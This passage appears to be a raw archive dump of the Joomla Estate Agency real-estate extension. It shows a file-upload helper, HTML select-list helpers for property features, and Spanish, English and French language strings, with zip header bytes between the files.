* Moves the uploaded file to its destination directory.
*
* @param string $dir Destination directory
* @param boolean $overwrite Overwrite if destination file exists?
*
* @return boolean true on success or false on error
*/
public function moveTo($dir = '', $overwrite = true)
{
$this->check();
if (!Folder::exists($dir))
{
$this->errors[] =
'COM_JEA_UPLOAD_DESTINATION_DIRECTORY_DOESNT_EXISTS';
}
if (! is_writable($dir))
{
$this->errors[] =
'COM_JEA_UPLOAD_DESTINATION_DIRECTORY_NOT_WRITABLE';
}
$file = $dir . '/' . $this->name;
if (File::exists($file))
{
if ($overwrite === false)
{
$this->errors[] =
'COM_JEA_UPLOAD_DESTINATION_FILE_ALREADY_EXISTS';
}
elseif (! is_writable($file))
{
$this->errors[] =
'COM_JEA_UPLOAD_DESTINATION_FILE_NOT_WRITABLE';
}
}
if (empty($this->errors))
{
return File::upload($this->temp_name, $file);
}
return false;
}
/**
* Format file name to be safe
*
* @param integer $maxlen Maximun permited string lenght
*
* @return JeaUpload
*/
public function nameToSafe($maxlen = 250)
{
$this->name = substr($this->name, 0, $maxlen);
$this->name = File::makeSafe($this->name);
$this->name = preg_replace('/\s+/', '-',
$this->name);
return $this;
}
/**
* Function to restrict the valid extensions on file uploads
*
* @param array $exts File extensions to validate
* @param string $mode The type of validation :
* 1) 'deny' Will deny only the supplied
extensions
* 2) 'accept' Will accept only the supplied
extensions as valid
*
* @return JeaUpload
*/
public function setValidExtensions($exts, $mode = 'accept')
{
$this->extensionsCheck = $exts;
$this->extensionsMode = $mode;
return $this;
}
/**
* Evaluates the validity of the extensions set by setValidExtensions
*
* @return boolean false on non valid extensions, true if they are valid
*/
protected function _evalValidExtensions()
{
$extension = File::getExt($this->name);
if ($this->extensionsMode == 'deny')
{
if (! in_array($extension, $this->extensionsCheck))
{
return true;
}
}
else
{
if (in_array($extension, $this->extensionsCheck))
{
return true;
}
}
return false;
}
}
PKdx�[����helpers/html/features.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Administrator
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Fatures html helper class.
*
* @package Joomla.Administrator
* @subpackage com_jea
*
* @since 2.0
*/
abstract class JHtmlFeatures
{
/**
* Method to get property types in a HTML <select> element
*
* @param string $value The selected value
* @param string $name The element name
* @param mixed $attr An array or a string of element attributes
*
* @return string HTML for the select list.
*/
static public function types($value = 0, $name = 'type_id',
$attr = '')
{
$cond = self::getLanguageCondition();
return self::getHTMLSelectList($value, $name,
'COM_JEA_FIELD_PROPERTY_TYPE_LABEL', $attr, 'types',
$cond, 'f.ordering');
}
/**
* Method to get departments in a HTML <select> element
*
* @param string $value The selected value
* @param string $name The element name
* @param mixed $attr An array or a string of element attributes
*
* @return string HTML for the select list.
*/
static public function departments($value = 0, $name =
'department_id', $attr = '')
{
return self::getHTMLSelectList($value, $name,
'COM_JEA_FIELD_DEPARTMENT_LABEL', $attr,
'departments');
}
/**
* Method to get towns in a HTML <select> element
*
* @param string $value The selected value
* @param string $name The element name
* @param mixed $attr An array or a string of element
attributes
* @param string $department_id To get the department town list
*
* @return string HTML for the select list.
*/
static public function towns($value = 0, $name = 'town_id',
$attr = '', $department_id = null)
{
$condition = '';
if ($department_id !== null)
{
// Potentially Too much results so this will give en empty result
$condition = 'f.department_id = -1';
if ($department_id > 0)
{
$condition = 'f.department_id =' . intval($department_id);
}
}
return self::getHTMLSelectList($value, $name,
'COM_JEA_FIELD_TOWN_LABEL', $attr, 'towns',
$condition);
}
/**
* Method to get areas in a HTML <select> element
*
* @param string $value The selected value
* @param string $name The element name
* @param mixed $attr An array or a string of element attributes
* @param string $town_id To get the town area list
*
* @return string HTML for the select list.
*/
static public function areas($value = 0, $name = 'area_id',
$attr = '', $town_id = null)
{
$condition = '';
if ($town_id !== null)
{
$condition = 'f.town_id = -1';
if ($town_id > 0)
{
$condition = 'f.town_id =' . intval($town_id);
}
}
return self::getHTMLSelectList($value, $name,
'COM_JEA_FIELD_AREA_LABEL', $attr, 'areas',
$condition);
}
/**
* Method to get conditions in a HTML <select> element
*
* @param string $value The selected value
* @param string $name The element name
* @param mixed $attr An array or a string of element attributes
*
* @return string HTML for the select list.
*/
static public function conditions($value = 0, $name =
'condition_id', $attr = '')
{
$cond = self::getLanguageCondition();
return self::getHTMLSelectList($value, $name,
'COM_JEA_FIELD_CONDITION_LABEL', $attr, 'conditions',
$cond);
}
/**
* Method to get hot water types in a HTML <select> element
*
* @param string $value The selected value
* @param string $name The element name
* @param mixed $attr An array or a string of element attributes
*
* @return string HTML for the select list.
*/
static public function hotwatertypes($value = 0, $name =
'hot_water_type', $attr = '')
{
$cond = self::getLanguageCondition();
return self::getHTMLSelectList($value, $name,
'COM_JEA_FIELD_HOTWATERTYPE_LABEL', $attr,
'hotwatertypes', $cond);
}
/**
* Method to get hot heating types in a HTML <select> element
*
* @param string $value The selected value
* @param string $name The element name
* @param mixed $attr An array or a string of element attributes
*
* @return string HTML for the select list.
*/
static public function heatingtypes($value = 0, $name =
'heating_type', $attr = '')
{
$cond = self::getLanguageCondition();
return self::getHTMLSelectList($value, $name,
'COM_JEA_FIELD_HEATINGTYPE_LABEL', $attr,
'heatingtypes', $cond);
}
/**
* Method to get slogans in a HTML <select> element
*
* @param string $value The selected value
* @param string $name The element name
* @param mixed $attr An array or a string of element attributes
*
* @return string HTML for the select list.
*/
static public function slogans($value = 0, $name = 'slogan_id',
$attr = '')
{
$cond = self::getLanguageCondition();
return self::getHTMLSelectList($value, $name,
'COM_JEA_FIELD_SLOGAN_LABEL', $attr, 'slogans', $cond);
}
/**
* Generic method to get HTML list of feature in a <select> element
*
* @param string $value The selected value
* @param string $name The element name
* @param string $defaultOptionLabel The first option label
* @param mixed $attr An array or a string of element
attributes
* @param string $featureTable The feature table name without
the prefix "#__jea_"
* @param mixed $conditions A string or an array of where
conditions to filter the database request
* @param string $ordering The list ordering
*
* @return string HTML for the select list.
*/
static public function getHTMLSelectList($value = 0, $name = '',
$defaultOptionLabel = 'JOPTION_ANY',
$attr = '', $featureTable = '', $conditions = null,
$ordering = 'f.value asc'
)
{
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->select('f.id , f.value');
$query->from('#__jea_' . $featureTable . ' AS f');
if (! empty($conditions))
{
if (is_string($conditions))
{
$query->where($conditions);
}
elseif (is_array($conditions))
{
foreach ($conditions as $condition)
{
$query->where($condition);
}
}
}
$query->order($ordering);
$db->setQuery($query);
$items = $db->loadObjectList();
// Assemble the list options.
$options = array();
$options[] = JHTML::_('select.option', '', '-
' . JText::_($defaultOptionLabel) . ' - ');
foreach ($items as &$item)
{
$options[] = JHtml::_('select.option', $item->id,
$item->value);
}
// Manage attributes
$idTag = false;
if (is_array($attr))
{
if (isset($attr['id']))
{
$idTag = $attr['id'];
unset($attr['id']);
}
if (empty($attr['size']))
{
$attr['size'] = 1;
}
if (empty($attr['class']))
{
$attr['class'] = 'inputbox';
}
$attr['class'] = trim($attr['class']);
}
else
{
if ((float) JVERSION > 3 &&
JFactory::getApplication()->isClient('administrator'))
{
$attr = 'class="inputbox span12 small"
size="1" ' . $attr;
}
else
{
$attr = 'class="inputbox" size="1" ' .
$attr;
}
}
return JHTML::_('select.genericlist', $options, $name, $attr,
'value', 'text', $value, $idTag);
}
/**
* Get language condition
*
* @return string
*/
protected static function getLanguageCondition()
{
$condition = '';
if (JFactory::getApplication()->isClient('site'))
{
$db = JFactory::getDbo();
$condition = 'f.language in (' .
$db->quote(JFactory::getLanguage()->getTag()) . ',' .
$db->quote('*') . ')';
}
return $condition;
}
}
PKdx�[�M�88%helpers/html/contentadministrator.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Administrator
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\Utilities\ArrayHelper;
/**
* Content administrator html helper class.
*
* @package Joomla.Administrator
* @subpackage com_jea
*
* @since 2.0
*/
abstract class JHtmlContentAdministrator
{
/**
* Helper to display the featured icon in a list of items
*
* @param int $value The state value
* @param int $i The list counter value
* @param boolean $canChange The user right to change the state
*
* @return string
*/
static public function featured($value = 0, $i = 0, $canChange = true)
{
// Array of image, task, title, action
$states = array(
0 => array(
'disabled.png',
'properties.featured',
'COM_JEA_UNFEATURED',
'COM_JEA_TOGGLE_TO_FEATURE'
),
1 => array(
'featured.png',
'properties.unfeatured',
'COM_JEA_FEATURED',
'COM_JEA_TOGGLE_TO_UNFEATURE'
)
);
$state = ArrayHelper::getValue($states, (int) $value, $states[1]);
$html = JHtml::_('image', 'admin/' . $state[0],
JText::_($state[2]), null, true);
if ($canChange)
{
$html = '<a href="#" onclick="return
listItemTask(\'cb' . $i . '\',\'' . $state[1]
. '\')" title="' . JText::_($state[3]) .
'">'
. $html . '</a>';
}
return $html;
}
}
PKdx�[�.xQ??$language/es-ES/es-ES.com_jea.sys.ininu�[���;
@author Roberto Segura
; @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
; @note Complete
; @note All ini files need to be saved as UTF-8
COM_JEA="Joomla Estate Agency"
JEA="Joomla Estate Agency"
COM_JEA_FEATURES="Administrar auxiliares"
COM_JEA_PROPERTIES_DEFAULT_LAYOUT_TITLE="Inmuebles"
COM_JEA_PROPERTIES_DEFAULT_LAYOUT_DESC="Mostrar un listado de
inmuebles"
COM_JEA_PROPERTIES="Administrar inmuebles"
COM_JEA_PROPERTIES_MANAGE_LAYOUT_TITLE="Administración de
inmuebles"
COM_JEA_PROPERTIES_MANAGE_LAYOUT_DESC="Mostrar un listado de
propiedades administrables por un usuario"
COM_JEA_FORM_EDIT_LAYOUT_TITLE="Formulario de inmueble"
COM_JEA_FORM_EDIT_LAYOUT_DESC="Mostrar un formulario para dar de alta
un inmueble"
COM_JEA_PROPERTIES_SEARCH_LAYOUT_TITLE="Búsqueda"
COM_JEA_PROPERTIES_SEARCH_LAYOUT_DESC="Mostrar un formulario de
búsqueda"
COM_JEA_PROPERTIES_SEARCHMAP_LAYOUT_TITLE="Búsqueda
geolocalizada"
COM_JEA_PROPERTIES_SEARCHMAP_LAYOUT_DESC="Mostrar un formulario de
búsqueda interactuando con un mapa de Google"
COM_JEA_TOOLS="Herramientas"PKdx�[��wvv
language/es-ES/es-ES.com_jea.ininu�[���; Author Roberto Segura
; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
; Note : All ini files need to be saved as UTF-8
COM_JEA_ADD_NEW_PROPERTY="Agregar inmueble"
COM_JEA_AMENITIES="Extras"
COM_JEA_BUDGET="Presupuesto"
COM_JEA_BUDGET_MAX="Prespuesto max."
COM_JEA_BUDGET_MIN="Presupuesto min."
COM_JEA_CONSULT_US="Consúltanos"
COM_JEA_CONTACT_FORM_LEGEND="¿Quieres más información? Déjanos un
mensaje"
COM_JEA_CONTACT_FORM_SUCCESSFULLY_SENT="Tu mensaje se ha enviado
correctamente"
COM_JEA_DETAIL="Detalle"
COM_JEA_DETAILS="Detalles"
COM_JEA_EDIT_PROPERTY="Editar inmueble ID:%s"
COM_JEA_EMAIL="Correo electrónico"
COM_JEA_FIELD_ADDRESS_LABEL="Dirección"
COM_JEA_FIELD_AREA_LABEL="Área"
COM_JEA_FIELD_CHARGES_LABEL="Cargas"
COM_JEA_FIELD_CONDITION_LABEL="Esto del inmueble"
COM_JEA_FIELD_DEPARTMENT_LABEL="Provincia"
COM_JEA_FIELD_DEPOSIT_LABEL="Depósito"
COM_JEA_FIELD_FEATURED_DESC="The featured marker is used to emphasize
property on the website."
COM_JEA_FIELD_FEES_LABEL="Impuestos"
COM_JEA_FIELD_FLOORS_NUMBER_LABEL="Número de pisos"
COM_JEA_FIELD_FLOOR_LABEL="Piso"
COM_JEA_FIELD_GEOLOCALIZATION_LABEL="Geolocalización"
COM_JEA_FIELD_HEATINGTYPE_LABEL="Calefacción"
COM_JEA_FIELD_HOTWATERTYPE_LABEL="Agua caliente"
COM_JEA_FIELD_LAND_SPACE_LABEL="Metros de terreno"
COM_JEA_FIELD_LANGUAGE_DESC="Lenguaje asignado a este item"
COM_JEA_FIELD_LATITUDE_LABEL="Latitud"
COM_JEA_FIELD_LIVING_SPACE_LABEL="Espacio habitable"
COM_JEA_FIELD_LONGITUDE_LABEL="Longitud"
COM_JEA_FIELD_NOTES_DESC="Puedes instroducir notas relativas a este
inmueble. No serán visibles en la parte pública del sitio."
COM_JEA_FIELD_NOTES_LABEL="Nota privada"
COM_JEA_FIELD_NUMBER_OF_BATHROOMS_LABEL="Número de baños"
COM_JEA_FIELD_NUMBER_OF_BEDROOMS_LABEL="Número de dormitorios"
COM_JEA_FIELD_NUMBER_OF_ROOMS_LABEL="Número de habitaciones"
COM_JEA_FIELD_NUMBER_OF_TOILETS_LABEL="Número de aseos"
COM_JEA_FIELD_ORIENTATION_LABEL="Orientación"
COM_JEA_FIELD_PRICE_LABEL="Precio"
COM_JEA_FIELD_PRICE_RENT_LABEL="Alquiler"
COM_JEA_FIELD_PROPERTY_AVAILABILITY_LABEL="Fecha disponibiliad"
COM_JEA_FIELD_PROPERTY_TYPE_LABEL="Tipo de inmueble"
COM_JEA_FIELD_PUBLISH_DOWN_DESC="Una fecha opcional de finalización
de publicación del inmueble."
COM_JEA_FIELD_PUBLISH_DOWN_LABEL="Finalización de la
publicación"
COM_JEA_FIELD_PUBLISH_UP_DESC="Una fecha opcional de inicio de
publicación del inmueble."
COM_JEA_FIELD_PUBLISH_UP_LABEL="Inicio de la publicación"
COM_JEA_FIELD_RATE_FREQUENCY_LABEL="Frecuencia de pago"
COM_JEA_FIELD_REF_DESC="Referencia del inmueble"
COM_JEA_FIELD_REF_LABEL="Referencia"
COM_JEA_FIELD_SLOGAN_LABEL="Eslogan"
COM_JEA_FIELD_TOWN_LABEL="Población"
COM_JEA_FIELD_TRANSACTION_TYPE_LABEL="Tipo de transacción"
COM_JEA_FIELD_ZIP_CODE_LABEL="Código postal"
COM_JEA_FINANCIAL_INFORMATIONS="Información financiera"
COM_JEA_FOUND_PROPERTIES="inmuebles encontrados"
COM_JEA_GEOLOCALIZATION="Geolocalización"
COM_JEA_HEIGHT="altura"
COM_JEA_INVALID_EMAIL_ADDRESS="Dirección de correo no válida :
%s<br />"
COM_JEA_LAND_SPACE_MAX="Máx. metros terreno"
COM_JEA_LAND_SPACE_MIN="Mín. metros de terreno"
COM_JEA_LIST_PROPERTIES="Listar inmuebles"
COM_JEA_LIVING_SPACE_MAX="Máx. espacio habitable"
COM_JEA_LIVING_SPACE_MIN="Mín. espacio habitable"
COM_JEA_LOCALIZATION="Localización"
COM_JEA_MAP_MARKER_LABEL="Arrastra el marcados para asignar la
posición"
COM_JEA_MAP_OPEN="Abrir el mapa"
COM_JEA_MAX="Máx."
COM_JEA_MESSAGE="Mensaje"
COM_JEA_MESSAGE_CONFIRM_DELETE="¿Estás seguro de que deseas borrar
el inmueble?"
COM_JEA_MIN="Mín."
COM_JEA_MODIFY_SEARCH="Modificar tu búsqueda"
COM_JEA_MSG_SELECT_PROPERTY_TYPE="Selecciona un tipo de inmueble"
COM_JEA_NAME="Nombre"
COM_JEA_NEW_PROPERTY="Nuevo inmueble"
COM_JEA_NUMBER_OF_BATHROOMS_MIN="Mín. número de baños"
COM_JEA_NUMBER_OF_BEDROOMS_MIN="Mín. número de dormitorios"
COM_JEA_NUMBER_OF_ROOMS_MIN="Mín. número de habitaciones"
COM_JEA_OPTION_DAILY="Diariamente"
COM_JEA_OPTION_EAST="Este"
COM_JEA_OPTION_EAST_WEST="Este oste"
COM_JEA_OPTION_MONTHLY="Mensualmente"
COM_JEA_OPTION_NORTH="Norte"
COM_JEA_OPTION_NORTH_EAST="Noreste"
COM_JEA_OPTION_NORTH_SOUTH="Norte sur"
COM_JEA_OPTION_NORTH_WEST="Noroeste"
COM_JEA_OPTION_RENTING="Alquiler"
COM_JEA_OPTION_SELLING="Venta"
COM_JEA_OPTION_SOUTH="Sur"
COM_JEA_OPTION_SOUTH_EAST="Sureste"
COM_JEA_OPTION_SOUTH_WEST="Suroeste"
COM_JEA_OPTION_WEEKLY="Semanalmente"
COM_JEA_OPTION_WEST="Oeste"
COM_JEA_PICTURES="Imágenes"
COM_JEA_PRICE_PER_FREQUENCY_DAILY=" / al día"
COM_JEA_PRICE_PER_FREQUENCY_MONTHLY=" / al mes"
COM_JEA_PRICE_PER_FREQUENCY_WEEKLY=" / a la semana"
COM_JEA_PROPERTY_NOT_FOUND="Este inmueble ya no existe"
COM_JEA_PROPERTY_TYPE_IN_TOWN="%s en %s"
COM_JEA_PROPERTY_URL="URL del inmueble"
COM_JEA_PUBLICATION_INFO="Info. de publicación"
COM_JEA_PUBLISHED="Publicado"
COM_JEA_REF="Ref"
COM_JEA_RESULTS_PER_PAGE="Resultados por página"
COM_JEA_RETURN_TO_THE_LIST="Volver al listado"
COM_JEA_SEARCH_FLOOR_DESC="Establecer 0 para planta baja"
COM_JEA_SEARCH_LABEL="Buscar por ref. o título"
COM_JEA_SEARCH_NO_MATCH_FOUND="No se han encontrado resultados"
COM_JEA_SEARCH_OTHER="Otros filtros"
COM_JEA_SEARCH_PARAMETERS_TITLE="Tus parámetros de búsqueda"
COM_JEA_SEARCH_ZIP_CODES="Códigos postales"
COM_JEA_SEARCH_ZIP_CODES_DESC="Introduce una lista de códigos
postales separados por comas"
COM_JEA_SEND="Enviar"
COM_JEA_SORT_BY_AREA="Ordenar por área"
COM_JEA_SORT_BY_DATE="Ordenar por fecha"
COM_JEA_SORT_BY_DEPARTMENT="Ordenar por provincia"
COM_JEA_SORT_BY_LAND_SPACE="Ordenar por metros de terreno"
COM_JEA_SORT_BY_LIVING_SPACE="Ordenar por metros de espacio
habitable"
COM_JEA_SORT_BY_POPULARITY="Ordenar por popularidad"
COM_JEA_SORT_BY_PRICE="Ordenar por precio"
COM_JEA_SORT_BY_TOWN="Ordenar por población"
COM_JEA_SUBJECT="Asunto"
COM_JEA_SUCCESSFULLY_REMOVED_PROPERTY="El inmueble se ha borrado
correctamente"
COM_JEA_TELEPHONE="Teléfono"
COM_JEA_TO="para"
COM_JEA_UNPUBLISHED="Despublicado"
COM_JEA_WIDTH="ancho"
COM_JEA_YOU_MUST_TO_ENTER_YOUR_NAME="Debes introducir tu
nombree.<br />"
COM_JEA_YOU_MUST_TO_ENTER_A_MESSAGE="Debes introducir un
mensaje.<br />"
JGLOBAL_FIELD_CREATED_LABEL="Fecha de creación"
JGLOBAL_FIELD_MODIFIED_LABEL="Fecha de modificación"
JOPTION_DO_NOT_USE="No usar"
PKdx�[�
��$language/en-GB/en-GB.com_jea.sys.ininu�[���; Author
Sylvain Philip
; Copyright (C) 2008 PHILIP Sylvain. All rights reserved.
; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
; Note : All ini files need to be saved as UTF-8
COM_JEA="Joomla Estate Agency"
JEA="Joomla Estate Agency"
COM_JEA_FEATURES="Manage features"
COM_JEA_PROPERTIES_DEFAULT_LAYOUT_TITLE="Properties layout"
COM_JEA_PROPERTIES_DEFAULT_LAYOUT_DESC="Display a list of
properties"
COM_JEA_PROPERTIES="Manage properties"
COM_JEA_PROPERTIES_MANAGE_LAYOUT_TITLE="Properties management
layout"
COM_JEA_PROPERTIES_MANAGE_LAYOUT_DESC="Display a list of properties
which can be managed by an user"
COM_JEA_FORM_EDIT_LAYOUT_TITLE="Form layout"
COM_JEA_FORM_EDIT_LAYOUT_DESC="Display a form to submit a new
property"
COM_JEA_PROPERTIES_SEARCH_LAYOUT_TITLE="Search layout"
COM_JEA_PROPERTIES_SEARCH_LAYOUT_DESC="Display a search form"
COM_JEA_PROPERTIES_SEARCHMAP_LAYOUT_TITLE="Geolocalized search
layout"
COM_JEA_PROPERTIES_SEARCHMAP_LAYOUT_DESC="Display a search form
interacting with a Google map"
COM_JEA_TOOLS="Tools"PKdx�[�ca�++
language/en-GB/en-GB.com_jea.ininu�[���; Author Sylvain Philip
; Copyright (C) 2017 PHILIP Sylvain. All rights reserved.
; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
; Note : All ini files need to be saved as UTF-8
COM_JEA_ADD_NEW_PROPERTY="Add new property"
COM_JEA_AMENITIES="Amenities"
COM_JEA_BUDGET="Budget"
COM_JEA_BUDGET_MAX="Budget max."
COM_JEA_BUDGET_MIN="Budget min."
COM_JEA_CONSULT_US="Consult us"
COM_JEA_CONTACT_FORM_LEGEND="Do you want more info? Leave your
message"
COM_JEA_CONTACT_FORM_SUCCESSFULLY_SENT="Your message has been
successfully sent"
COM_JEA_DETAIL="Detail"
COM_JEA_DETAILS="Details"
COM_JEA_EDIT_PROPERTY="Edit property ID:%s"
COM_JEA_EMAIL="Email"
COM_JEA_FIELD_ADDRESS_LABEL="Address"
COM_JEA_FIELD_AREA_LABEL="Area"
COM_JEA_FIELD_CHARGES_LABEL="Charges"
COM_JEA_FIELD_CONDITION_LABEL="Property condition"
COM_JEA_FIELD_DEPARTMENT_LABEL="Department"
COM_JEA_FIELD_DEPOSIT_LABEL="Deposit"
COM_JEA_FIELD_FEATURED_DESC="The featured marker is used to emphasize
property on the website."
COM_JEA_FIELD_FEES_LABEL="Fees"
COM_JEA_FIELD_FLOORS_NUMBER_LABEL="Floors number"
COM_JEA_FIELD_FLOOR_LABEL="Floor"
COM_JEA_FIELD_GEOLOCALIZATION_LABEL="Geolocalization"
COM_JEA_FIELD_HEATINGTYPE_LABEL="Heating type"
COM_JEA_FIELD_HOTWATERTYPE_LABEL="Hot water type"
COM_JEA_FIELD_LAND_SPACE_LABEL="Land space"
COM_JEA_FIELD_LANGUAGE_DESC="The language that the item is assigned
to"
COM_JEA_FIELD_LATITUDE_LABEL="Latitude"
COM_JEA_FIELD_LIVING_SPACE_LABEL="Living space"
COM_JEA_FIELD_LONGITUDE_LABEL="Longitude"
COM_JEA_FIELD_NOTES_DESC="You can enter notes related to this
property. They will not be visible in the public part of the site."
COM_JEA_FIELD_NOTES_LABEL="Private note"
COM_JEA_FIELD_NUMBER_OF_BATHROOMS_LABEL="Number of bathrooms"
COM_JEA_FIELD_NUMBER_OF_BEDROOMS_LABEL="Number of bedrooms"
COM_JEA_FIELD_NUMBER_OF_ROOMS_LABEL="Number of rooms"
COM_JEA_FIELD_NUMBER_OF_TOILETS_LABEL="Number of toilets"
COM_JEA_FIELD_ORIENTATION_LABEL="Orientation"
COM_JEA_FIELD_PRICE_LABEL="Price"
COM_JEA_FIELD_PRICE_RENT_LABEL="Rent"
COM_JEA_FIELD_PROPERTY_AVAILABILITY_LABEL="Availability date"
COM_JEA_FIELD_PROPERTY_TYPE_LABEL="Property type"
COM_JEA_FIELD_PUBLISH_DOWN_DESC="An optional date to Finish Publishing
the property."
COM_JEA_FIELD_PUBLISH_DOWN_LABEL="Finish Publishing"
COM_JEA_FIELD_PUBLISH_UP_DESC="An optional date to Start Publishing
the property."
COM_JEA_FIELD_PUBLISH_UP_LABEL="Start Publishing"
COM_JEA_FIELD_RATE_FREQUENCY_LABEL="Rate frequency"
COM_JEA_FIELD_REF_DESC="The property reference"
COM_JEA_FIELD_REF_LABEL="Reference"
COM_JEA_FIELD_SLOGAN_LABEL="Slogan"
COM_JEA_FIELD_TOWN_LABEL="Town"
COM_JEA_FIELD_TRANSACTION_TYPE_LABEL="Transaction type"
COM_JEA_FIELD_ZIP_CODE_LABEL="Zip code"
COM_JEA_FINANCIAL_INFORMATIONS="Financial informations"
COM_JEA_FOUND_PROPERTIES="properties found"
COM_JEA_GEOLOCALIZATION="Geolocalization"
COM_JEA_HEIGHT="height"
COM_JEA_INVALID_EMAIL_ADDRESS="Invalid email address : %s<br
/>"
COM_JEA_LAND_SPACE_MAX="Land space max."
COM_JEA_LAND_SPACE_MIN="Land space min."
COM_JEA_LIST_PROPERTIES="List properties"
COM_JEA_LIVING_SPACE_MAX="Living space max."
COM_JEA_LIVING_SPACE_MIN="Living space min."
COM_JEA_LOCALIZATION="Localization"
COM_JEA_MAP_MARKER_LABEL="Drag and drop the marker to setup your
position"
COM_JEA_MAP_OPEN="Open the map"
COM_JEA_MAX="Max."
COM_JEA_MESSAGE="Message"
COM_JEA_MESSAGE_CONFIRM_DELETE="Are you sure you want to delete this
property?"
COM_JEA_MIN="Min."
COM_JEA_MODIFY_SEARCH="Modify your search"
COM_JEA_MSG_SELECT_PROPERTY_TYPE="Select a type of property"
COM_JEA_NAME="Name"
COM_JEA_NEW_PROPERTY="New property"
COM_JEA_NUMBER_OF_BATHROOMS_MIN="Min. number of bathrooms"
COM_JEA_NUMBER_OF_BEDROOMS_MIN="Min. number of bedrooms"
COM_JEA_NUMBER_OF_ROOMS_MIN="Min. number of rooms"
COM_JEA_OPTION_DAILY="Daily"
COM_JEA_OPTION_EAST="East"
COM_JEA_OPTION_EAST_WEST="East West"
COM_JEA_OPTION_MONTHLY="Monthly"
COM_JEA_OPTION_NORTH="North"
COM_JEA_OPTION_NORTH_EAST="Northeast"
COM_JEA_OPTION_NORTH_SOUTH="North South"
COM_JEA_OPTION_NORTH_WEST="Northwest"
COM_JEA_OPTION_RENTING="Renting"
COM_JEA_OPTION_SELLING="Selling"
COM_JEA_OPTION_SOUTH="South"
COM_JEA_OPTION_SOUTH_EAST="Southeast"
COM_JEA_OPTION_SOUTH_WEST="Southwest"
COM_JEA_OPTION_WEEKLY="Weekly"
COM_JEA_OPTION_WEST="West"
COM_JEA_PICTURES="Pictures"
COM_JEA_PRICE_PER_FREQUENCY_DAILY=" / day"
COM_JEA_PRICE_PER_FREQUENCY_MONTHLY=" / month"
COM_JEA_PRICE_PER_FREQUENCY_WEEKLY=" / week"
COM_JEA_PROPERTY_NOT_FOUND="This property doesn't exists
anymore."
COM_JEA_PROPERTY_TYPE_IN_TOWN="%s in %s"
COM_JEA_PROPERTY_URL="Property URL"
COM_JEA_PUBLICATION_INFO="Publication info"
COM_JEA_PUBLISHED="Published"
COM_JEA_REF="Ref"
COM_JEA_RESULTS_PER_PAGE="Results per page"
COM_JEA_RETURN_TO_THE_LIST="Return to the list"
COM_JEA_SEARCH_FLOOR_DESC="Set 0 for ground floor"
COM_JEA_SEARCH_LABEL="Search by ref or title"
COM_JEA_SEARCH_NO_MATCH_FOUND="No match found"
COM_JEA_SEARCH_OTHER="Other filters"
COM_JEA_SEARCH_PARAMETERS_TITLE="Your search parameters"
COM_JEA_SEARCH_ZIP_CODES="Zip codes"
COM_JEA_SEARCH_ZIP_CODES_DESC="Enter comma separeted list of zip
codes"
COM_JEA_SEND="Send"
COM_JEA_SORT_BY_AREA="Sort by area"
COM_JEA_SORT_BY_DATE="Sort by date"
COM_JEA_SORT_BY_DEPARTMENT="Sort by department"
COM_JEA_SORT_BY_LAND_SPACE="Sort by land space"
COM_JEA_SORT_BY_LIVING_SPACE="Sort by living space"
COM_JEA_SORT_BY_POPULARITY="Sort by popularity"
COM_JEA_SORT_BY_PRICE="Sort by price"
COM_JEA_SORT_BY_TOWN="Sort by town"
COM_JEA_SUBJECT="Subject"
COM_JEA_SUCCESSFULLY_REMOVED_PROPERTY="Successfully removed
property"
COM_JEA_TELEPHONE="Telephone"
COM_JEA_TO="to"
COM_JEA_UNPUBLISHED="Unpublished"
COM_JEA_WIDTH="width"
COM_JEA_YOU_MUST_TO_ENTER_YOUR_NAME="You must enter your name.<br
/>"
COM_JEA_YOU_MUST_TO_ENTER_A_MESSAGE="You must enter a message.<br
/>"
JGLOBAL_FIELD_CREATED_LABEL="Created date"
JGLOBAL_FIELD_MODIFIED_LABEL="Modified date"
JOPTION_DO_NOT_USE="Do not use"
PKdx�[5Z�-- language/fr-FR/fr-FR.com_jea.ininu�[���;
Author Sylvain Philip
; Copyright (C) 2017 PHILIP Sylvain. All rights reserved.
; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
; Note : All ini files need to be saved as UTF-8
COM_JEA_ADD_NEW_PROPERTY="Ajouter un nouveau bien"
COM_JEA_AMENITIES="Équipements"
COM_JEA_BUDGET="Budget"
COM_JEA_BUDGET_MAX="Budget max."
COM_JEA_BUDGET_MIN="Budget min."
COM_JEA_CONSULT_US="Nous consulter"
COM_JEA_CONTACT_FORM_LEGEND="Ce bien vous intéresse ? Laissez votre
message"
COM_JEA_CONTACT_FORM_SUCCESSFULLY_SENT="Votre message a bien été
envoyé. Nous vous répondrons dans les plus brefs délais."
COM_JEA_DETAIL="Détail"
COM_JEA_DETAILS="Détails"
COM_JEA_EDIT_PROPERTY="Modifier le bien ID:% s"
COM_JEA_EMAIL="Email"
COM_JEA_FIELD_ADDRESS_LABEL="Adresse"
COM_JEA_FIELD_AREA_LABEL="Quartier"
COM_JEA_FIELD_CHARGES_LABEL="Charges"
COM_JEA_FIELD_CONDITION_LABEL="État du bien"
COM_JEA_FIELD_DEPARTMENT_LABEL="Département"
COM_JEA_FIELD_DEPOSIT_LABEL="Dépôt de garantie"
COM_JEA_FIELD_FEATURED_DESC="Le marqueur vedette est utilisé pour
mettre en avant le bien sur le site."
COM_JEA_FIELD_FEES_LABEL="Honoraires"
COM_JEA_FIELD_FLOORS_NUMBER_LABEL="Nombre d'étages"
COM_JEA_FIELD_FLOOR_LABEL="Étage"
COM_JEA_FIELD_GEOLOCALIZATION_LABEL="Géolocalisation"
COM_JEA_FIELD_HEATINGTYPE_LABEL="Type de chauffage"
COM_JEA_FIELD_HOTWATERTYPE_LABEL="Type d'eau chaude"
COM_JEA_FIELD_LAND_SPACE_LABEL="Surface terrain"
